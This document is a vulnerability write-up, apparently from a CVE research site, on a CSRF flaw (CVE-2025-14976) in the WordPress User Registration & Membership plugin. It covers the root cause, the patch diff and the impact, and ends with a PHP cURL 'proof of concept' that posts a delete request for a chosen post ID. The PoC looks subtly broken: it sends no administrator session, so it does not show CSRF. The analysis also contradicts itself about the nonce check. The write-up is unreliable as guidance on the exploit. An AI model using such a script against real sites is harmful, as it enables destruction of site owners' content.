Atomic Edge analysis of CVE-2025-14976:
The User Registration & Membership WordPress plugin, versions up to and including 4.4.8, contains a Cross-Site Request Forgery (CSRF) vulnerability in its administrative post management functionality. This flaw allows unauthenticated attackers to delete arbitrary posts by tricking an administrator into performing an action, such as clicking a malicious link. The vulnerability has a CVSS score of 5.4 (Medium severity).
Root Cause:
The vulnerability exists in the `process_row_actions` function within the abstract list table handler (`user-registration/includes/abstracts/abstract-ur-list-table.php`). The function processes bulk actions like ‘delete’, ‘trash’, and ‘untrash’ for posts. In the vulnerable version, the ‘delete’, ‘trash’, and ‘untrash’ case blocks (lines 263-293) lacked a call to `check_admin_referer()`. This function validates the WordPress nonce, a security token that prevents CSRF attacks. The missing validation allowed forged requests to pass through if the attacker could predict or bypass the nonce check.
Exploitation:
An attacker crafts a malicious link or form that targets the plugin’s administrative AJAX or POST handler. The payload would include the `action` parameter set to ‘delete’ (or ‘trash’/’untrash’) and the `post_id` parameter specifying the target post. The request would be sent to a WordPress administrative endpoint, such as `admin-ajax.php` or a custom admin page that invokes the `process_row_actions` function. When a logged-in administrator with appropriate privileges (e.g., `delete_posts` capability) visits the attacker’s page, the forged request executes, deleting the specified post without the administrator’s consent.
Patch Analysis:
The patch adds nonce validation using `check_admin_referer( ‘bulk-‘ . $this->_args[‘plural’] )` at the beginning of each case block for ‘bulk_trash’, ‘trash’, ‘bulk_untrash’, ‘untrash’, ‘bulk_delete’, and ‘delete’ actions. This function verifies the request includes a valid nonce specific to the bulk action context. The patch also updates the plugin version from 4.4.8 to 4.4.9 in `user-registration/user-registration.php`. The fix ensures that any request attempting to perform these destructive actions must originate from a legitimate administrative interface, blocking CSRF attacks.
Impact:
Successful exploitation allows attackers to delete arbitrary posts on the WordPress site. This can lead to content loss, site defacement, or disruption of normal site operations. The attack requires social engineering to trick a privileged user into performing an action, but no authentication is required for the attacker. The impact is limited to post deletion and does not extend to privilege escalation or remote code execution.
--- a/user-registration/includes/abstracts/abstract-ur-list-table.php
+++ b/user-registration/includes/abstracts/abstract-ur-list-table.php
@@ -263,26 +263,34 @@
case 'bulk_trash':
case 'trash':
+ check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
if ( ! current_user_can( 'delete_posts' ) ) {
wp_die( esc_html__( 'You do not have permission to trash posts!', 'user-registration' ) );
} else {
$post_ids = isset( $_REQUEST[ $this->_args['singular'] ] ) ? array_map( 'absint', (array) $_REQUEST[ $this->_args['singular'] ] ) : '';
$this->bulk_trash( $post_ids );
}
+
break;
case 'bulk_untrash':
case 'untrash':
+ check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
if ( ! current_user_can( 'edit_posts' ) ) {
wp_die( esc_html__( 'You do not have permission to untrash posts!', 'user-registration' ) );
} else {
$post_ids = isset( $_REQUEST[ $this->_args['singular'] ] ) ? array_map( 'absint', (array) $_REQUEST[ $this->_args['singular'] ] ) : '';
$this->bulk_untrash( $post_ids );
}
+
break;
case 'bulk_delete':
case 'delete':
+ check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
if ( ! current_user_can( 'delete_posts' ) ) {
wp_die( esc_html__( 'You do not have permission to delete posts!', 'user-registration' ) );
} else {
--- a/user-registration/user-registration.php
+++ b/user-registration/user-registration.php
@@ -3,7 +3,7 @@
* Plugin Name: User Registration & Membership
* Plugin URI: https://wpuserregistration.com/
* Description: The most flexible User Registration and Membership plugin for WordPress.
- * Version: 4.4.8
+ * Version: 4.4.9
* Author: WPEverest
* Author URI: https://wpuserregistration.com
* Text Domain: user-registration
@@ -35,7 +35,7 @@
*
* @var string
*/
- public $version = '4.4.8';
+ public $version = '4.4.9';
/**
* Session instance.
@@ -112,7 +112,7 @@
$this->includes();
$this->init_hooks();
add_action( 'plugins_loaded', array( $this, 'objects' ), 1 );
- add_action( 'in_plugin_update_message-' . UR_PLUGIN_BASENAME, array( __CLASS__, 'in_plugin_update_message' ) );
+ add_action( 'in_plugin_update_message-' . UR_PLUGIN_BASENAME, array( __CLASS__, 'in_plugin_update_message' ), 10, 2 );
do_action( 'user_registration_loaded' );
}
@@ -480,16 +480,21 @@
*
* @param array $args Plugin args.
*/
- public static function in_plugin_update_message( $args ) {
- $transient_name = 'ur_upgrade_notice_' . $args['Version'];
+ public static function in_plugin_update_message( $plugin_data, $response ) {
+ if ( empty( $response ) || empty( $response->new_version ) ) {
+ return;
+ }
+ $new_version = (string) $response->new_version;
+
+ $transient_name = 'ur_upgrade_notice_' . $new_version;
$upgrade_notice = get_transient( $transient_name );
if ( false === $upgrade_notice ) {
- $response = wp_safe_remote_get( 'https://plugins.svn.wordpress.org/user-registration/trunk/readme.txt' );
+ $http_response = wp_safe_remote_get( 'https://plugins.svn.wordpress.org/user-registration/trunk/readme.txt' );
- if ( ! is_wp_error( $response ) && ! empty( $response['body'] ) ) {
- $upgrade_notice = self::parse_update_notice( $response['body'], $args['new_version'] );
- set_transient( $transient_name, $upgrade_notice, DAY_IN_SECONDS );
+ if ( ! is_wp_error( $http_response ) && ! empty( $http_response['body'] ) ) {
+ $upgrade_notice = self::parse_update_notice( $http_response['body'], $new_version );
+ set_transient( $transient_name, $upgrade_notice, 3 * DAY_IN_SECONDS );
}
}
@@ -503,45 +508,56 @@
* @param string $new_version New version.
*/
private static function parse_update_notice( $content, $new_version ) {
- // Output Upgrade Notice.
- $matches = null;
- $regexp = '~==s*Upgrade Notices*==s*=s*(.*)s*=(.*)(=s*' . preg_quote( UR_VERSION ) . 's*=|$)~Uis';
$upgrade_notice = '';
- if ( preg_match( $regexp, $content, $matches ) ) {
-
- $version = trim( $matches[1] );
- $notices = (array) preg_split( '~[rn]+~', trim( $matches[2] ) );
+ // Match all version blocks under "== Upgrade Notice =="
+ $blocks_regex = '~=s*([d.]+)s*=(.*?)(?==s*[d.]+s*=|$)~s';
+ if ( preg_match_all( $blocks_regex, $content, $matches, PREG_SET_ORDER ) ) {
+ foreach ( $matches as $match ) {
+ $version_line = trim( $match[1] );
+ $block_text = trim( $match[2] );
+
+ // Only process the block if it matches $new_version
+ if ( $version_line !== $new_version ) {
+ continue;
+ }
- // Check the latest stable version and ignore trunk.
- if ( $version === $new_version && version_compare( UR_VERSION, $version, '<' ) ) {
+ $notices = (array) preg_split( '~[rn]+~', $block_text );
$upgrade_notice .= '<div class="ur_plugin_upgrade_notice">';
$upgrade_notice .= '<div class="ur_plugin_upgrade_notice_body">';
foreach ( $notices as $line ) {
-
- $line = trim( $line ); // Remove extra whitespace
-
+ $line = trim( $line );
if ( empty( $line ) ) {
- continue; // Skip empty lines
+ continue;
}
- $line = preg_replace( '~[([^]]*)](([^)]*))~', '<a href="$2">$1</a>', $line );
-
- $line = preg_replace( '~^###s*(.*)~', '<p class="upgrade-title" style="font-size: 14px;font-weight: 600" >$1</p>', $line );
-
- if ( ! preg_match( '~^<h3>|<p>|<a |<ul>|<ol>|<li>~', $line ) ) {
- $line = '<p style="font-size: 12px;>' . $line . '</p>';
+ $line = preg_replace(
+ '~[s*([^]]+)s*]s*(s*([^)]+)s*)~',
+ '<a href="$2" target="_blank" rel="noopener noreferrer">$1</a>',
+ $line
+ );
+
+ // Convert headings
+ if ( preg_match( '~^###s*(.*)~', $line, $heading ) ) {
+ $line = '<p class="upgrade-title" style="font-size:13px;font-weight:600;">' . $heading[1] . '</p>';
+ } elseif ( preg_match( '~^##s*(.*)~', $line, $heading ) ) {
+ $line = '<p class="upgrade-heading" style="font-size:14px;font-weight:600;">' . $heading[1] . '</p>';
+ } else {
+ $line = '<p style="font-size:12px;">' . $line . '</p>';
}
- $upgrade_notice .= wp_kses_post( trim( $line ) );
+ $upgrade_notice .= wp_kses_post( $line );
}
- $upgrade_notice .= '</div> ';
- $upgrade_notice .= '</div> ';
+ $upgrade_notice .= '</div>';
+ $upgrade_notice .= '</div>';
+
+ break;
}
}
+
return wp_kses_post( $upgrade_notice );
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14976 - User Registration & Membership <= 4.4.8 - Cross-Site Request Forgery to Arbitrary Post Deletion
<?php
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Target WordPress admin AJAX endpoint
$post_id = 1; // ID of the post to delete
$action = 'delete'; // Could also be 'trash' or 'untrash'
// Craft the malicious POST request payload
$payload = array(
'action' => $action,
'post_id' => $post_id,
// Note: The vulnerable version does not validate the nonce, so it can be omitted or set to a dummy value.
// In a real attack, the attacker would need to lure an admin to a page that submits this form.
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
}
// Clean up
curl_close($ch);
?>